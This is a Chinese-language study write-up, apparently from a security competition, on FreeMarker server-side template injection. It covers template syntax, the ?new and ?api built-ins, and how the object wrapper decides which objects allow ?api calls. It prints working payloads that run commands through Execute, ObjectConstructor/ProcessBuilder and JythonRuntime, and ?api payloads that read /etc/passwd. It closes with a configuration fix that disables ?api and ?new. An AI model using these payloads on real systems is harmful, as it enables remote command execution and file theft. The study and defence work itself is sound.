freemarker ssti

前言:
软件系统安全赛有一个freemarker ssti 没学过,来学习一下
题目漏洞代码如下

freemarker基础

和大多数模板一样,freemarker也是为了前后端分离,为了MVC设计思想的一种实现形式

写好html,从后端获取数据渲染到前端

表达式与插值

和大多数模板一样
freemarker使用
${}把动态数据输出

  • 普通变量: ${name}

  • 属性访问: ${user.age}${user["age"]}

  • 方法调用: ${user.getName()}

FTC指令

条件判断:

1
2
3
4
5
<#if user.age gt 18>
成年人
<#else>
未成年人
</#if>

循环遍历:

1
2
3
<#list users as u>
${u.name}
</#list>

变量赋值:
<#assign> 用于在模板内定义一个新变量。

1
2
<#assign myVar = "Hello World">
${myVar}

内置函数

由于freemarker也是类似php java等 一种不那么完善成熟的语言
其中也有一些内置常用函数
例如:
字符串处理: ${htmlString?html}(转义 HTML)

new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。

api

这是freemarker最核心的
api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
api?支持调用该类任意public方法

例如:
假设java后端传给模板一个字符串对象

1
2
String msg = "hello,world"; 
root.put("myString", msg);

在正常的 FreeMarker 语法中,你只能用 FreeMarker 提供的内建函数,比如:

${myString?upper_case} (输出 HELLO,WORLD)
${myString?split(",")}

但是,如果你开启了 ?api 功能,你就可以直接调用 Java java.lang.String 类自带的所有 public 方法

1
2
3
4
5
6
7
8
调用 Java String 的 startsWith() 方法
<#if myString?api.startsWith("hello")>
是的,它是以 hello 开头
</#if>

支持链式调用:获取 Class 对象,再获取类名
${myString?api.getClass().getName()}
输出: java.lang.String

可以看到,在没有限制的时候很灵活,也可以使用java的反射机制

Poc

new引用

Execute

freemarker的包内自带
freemarker.template.utility.Execute类,从中可以看到这里的exec方法是一个很完美的命令执行函数:


从类的声明中可以看到该类实现了TemplateMethodModel接口,随后我们转至该接口,可以看到TemplateMethodModel又是TemplateModel接口的实现
所以我们可以new他
例如

1
2
<#assign value="freemarker.template.utility.Execute"?new()>
${value("cmd.exe /c calc")}


ObjectConstructor

还有 freemarker.template.utility.ObjectConstructor

可以看到这个类里把传入的参数实例化了
但我们注意到最后return的是一个
bw.wrap()
跟一下看看wrap()是啥

1
2
3
4
5
6
7
public TemplateModel wrap(Object object) throws TemplateModelException {  
return object == null ? this.nullModel : this.modelCache.getInstance(object);
}

public TemplateMethodModelEx wrap(Object object, Method method) {
return new SimpleMethodModel(object, method, method.getParameterTypes(), this);
}

跟进
this.modelCache.getInstance(object)

看到这里其实就大差不差了,从开发角度看,这里开发者是为了统一,把他们都做成适配freemarker的对象。
ok,这个为后面的我们伏笔。
所以如果我们的正常思路如下

1
2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder","whoami").start()}

JythonRuntime

freemarker.template.utility.JythonRuntime 类可以通过自定义标签的方式执行Python命令,从而构造远程命令执行。

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("cmd.exe /c calc")</@value>

但是这个是在jvm上运行python代码,需要添加jython依赖

1
2
3
4
5
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.0</version>
</dependency>

题目中显然是没有

api引用

这道题中 FreeMarker 2.3.26 默认 api_builtin_enabled=false
所以这道题里是无法使用api引用的
个人觉得利用条件比较苛刻。。

粘几个poc
文件读取载荷:

1
2
3
4
5
6
7
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

命令执行:

1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}

备注:这里利用载荷是要把上面的Object替换替换成可编辑模板中可用的真实的Object后利用才行

同时我也尝试修改jar包来测试一下api?的调用

源码中加入

1
cfg.setAPIBuiltinEnabled(true);

但是失败了

1
2
3
4
templateContent={{url(${subject?api.getClass().getName()})}}

userName / subject / userEmail / userTel
这些都失败了


可以看到这个类不支持api调用,这是为什么呢??
看到这个报错有没有想到刚才的wraper

1
ObjectWapper: freemarker.template.DefaultObjectWrapper@2141844787(2.3.22, useAdaptersForContainers=true, forceLegacyNonListCollections=true, iterableSupport=falseexposureLevel=1, exposeFields=false, treatDefaultMethodsAsBeanMembers=false, sharedClassIntrospCache=@831816319, ...))

我们去看看 freemarker.template.DefaultObjectWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public TemplateModel wrap(Object obj) throws TemplateModelException {  
if (obj == null) {
return super.wrap((Object)null);
} else if (obj instanceof TemplateModel) {
return (TemplateModel)obj;
} else if (obj instanceof String) {
return new SimpleScalar((String)obj);
} else if (obj instanceof Number) {
return new SimpleNumber((Number)obj);
} else if (obj instanceof Date) {
if (obj instanceof java.sql.Date) {
return new SimpleDate((java.sql.Date)obj);
} else if (obj instanceof Time) {
return new SimpleDate((Time)obj);
} else {
return obj instanceof Timestamp ? new SimpleDate((Timestamp)obj) : new SimpleDate((Date)obj, this.getDefaultDateType());
}
} else {
Class<?> objClass = obj.getClass();
if (objClass.isArray()) {
if (this.useAdaptersForContainers) {
return DefaultArrayAdapter.adapt(obj, this);
}

obj = this.convertArray(obj);
}

if (obj instanceof Collection) {
if (this.useAdaptersForContainers) {
if (obj instanceof List) {
return DefaultListAdapter.adapt((List)obj, this);
} else {
return (TemplateModel)(this.forceLegacyNonListCollections ? new SimpleSequence((Collection)obj, this) : DefaultNonListCollectionAdapter.adapt((Collection)obj, this));
}
} else {
return new SimpleSequence((Collection)obj, this);
}
} else if (obj instanceof Map) {
return (TemplateModel)(this.useAdaptersForContainers ? DefaultMapAdapter.adapt((Map)obj, this) : new SimpleHash((Map)obj, this));
} else if (obj instanceof Boolean) {
return obj.equals(Boolean.TRUE) ? TemplateBooleanModel.TRUE : TemplateBooleanModel.FALSE;
} else if (obj instanceof Iterator) {
return (TemplateModel)(this.useAdaptersForContainers ? DefaultIteratorAdapter.adapt((Iterator)obj, this) : new SimpleCollection((Iterator)obj, this));
} else if (this.useAdapterForEnumerations && obj instanceof Enumeration) {
return DefaultEnumerationAdapter.adapt((Enumeration)obj, this);
} else {
return (TemplateModel)(this.iterableSupport && obj instanceof Iterable ? DefaultIterableAdapter.adapt((Iterable)obj, this) : this.handleUnknownType(obj));
}
}
}

真相大白了,我们的类分别走到了这些地方

1
2
3
4
5
6
7
8
} else if (obj instanceof Date) {
...
return new SimpleDate((Date)obj, this.getDefaultDateType());
}
-------------------------------------------------
} else if (obj instanceof String) {
return new SimpleScalar((String)obj);
}

所以他们不支持api调用,我们才失败了。

fix

1
2
3
4
5
6
7
import freemarker.core.TemplateClassResolver;
import freemarker.template.TemplateExceptionHandler;

Configuration cfg = new Configuration(Configuration.VERSION_2_3_23);
cfg.setAPIBuiltinEnabled(false);//禁用?api调用
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);//禁用?new()
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);//FreeMarker 模板渲染过程中一旦出错,就把异常继续抛给 Java 程序处理,而不是把错误细节直接输出到页面里


打包之后重新部署,发现fix成功。